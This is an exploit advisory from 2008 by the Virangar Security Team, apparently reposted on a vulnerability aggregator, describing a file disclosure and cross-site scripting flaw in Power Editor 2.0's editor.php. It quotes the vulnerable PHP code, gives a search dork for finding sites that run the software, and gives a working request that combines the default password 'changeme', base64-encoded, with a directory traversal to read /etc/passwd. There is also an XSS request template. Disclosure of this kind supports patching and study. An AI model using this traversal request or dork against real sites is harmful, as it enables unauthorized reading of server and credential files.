Power Editor 2.0 Remote File Disclosure / Edit Vulnerability

🗓️ 07 May 2008 00:00:00Reported by RootType

Power Editor 2.0 Remote File Disclosure / Edit Vulnerability discovered by Virangar Security Team allows unauthorized disclosure and editing of local files. Vulnerable code in editor.php permits exploitation via base64 encoded password, enabling access to files and potential cross-site scripting attacks


                                                	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;..:::::Power&nbsp;Editor&nbsp;LOCAL&nbsp;FILE&nbsp;INCLUSION&nbsp;Vulnerbility&nbsp;::::...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;########################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.net

--------
Discoverd&nbsp;By&nbsp;:Virangar&nbsp;Security&nbsp;Team&nbsp;(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;iranian&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)&nbsp;from&nbsp;emperor&nbsp;team&nbsp;:)
-----------------------------------
download:http://www.scriptsez.net/index.php?action=details&amp;cat=Content%20Management&amp;id=1063623812
dork:&nbsp;Powered&nbsp;By&nbsp;Power&nbsp;Editor
-----------------------------------
vuln&nbsp;code&nbsp;in&nbsp;editor.php:
line&nbsp;84-94:
if&nbsp;($action==&quot;tempedit&quot;)&nbsp;{
$n=base64_decode($m);&nbsp;&nbsp;&nbsp;&nbsp;
if&nbsp;($n==$password){
template();
$te=$HTTP_GET_VARS['te'];
$dir=$HTTP_GET_VARS['dir'];
$filename&nbsp;=&nbsp;&quot;$dir/$te&quot;;
$fd&nbsp;=&nbsp;fopen&nbsp;($filename,&nbsp;&quot;r&quot;);
$stuff&nbsp;=&nbsp;fread&nbsp;($fd,&nbsp;filesize&nbsp;($filename));
fclose&nbsp;($fd);
?&gt;
-------
vuln:
http://site.com/editor.php?action=tempedit&amp;m=[base64&nbsp;password]&amp;te=[local_file]&amp;dir=[local_dir]
examp:
editor.php?action=tempedit&amp;m=Y2hhbmdlbWU=&amp;te=/etc/passwd&amp;dir=../../../../../../../../../..

-------------------------------------
and&nbsp;xss&nbsp;here&nbsp;:D&nbsp;:
http://site.com/editor.php?action=tempedit&amp;m=[base64&nbsp;password]&amp;te=[xss]&amp;dir=[xss]
-----
note:
default&nbsp;pass&nbsp;for&nbsp;login&nbsp;is:changeme
-----
young&nbsp;iranian&nbsp;h4ck3rz
/*&nbsp;tnx&nbsp;2:
st0rke,aria-security.net,r00tshell.org,all&nbsp;h4ck3rz&nbsp;*/

07 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1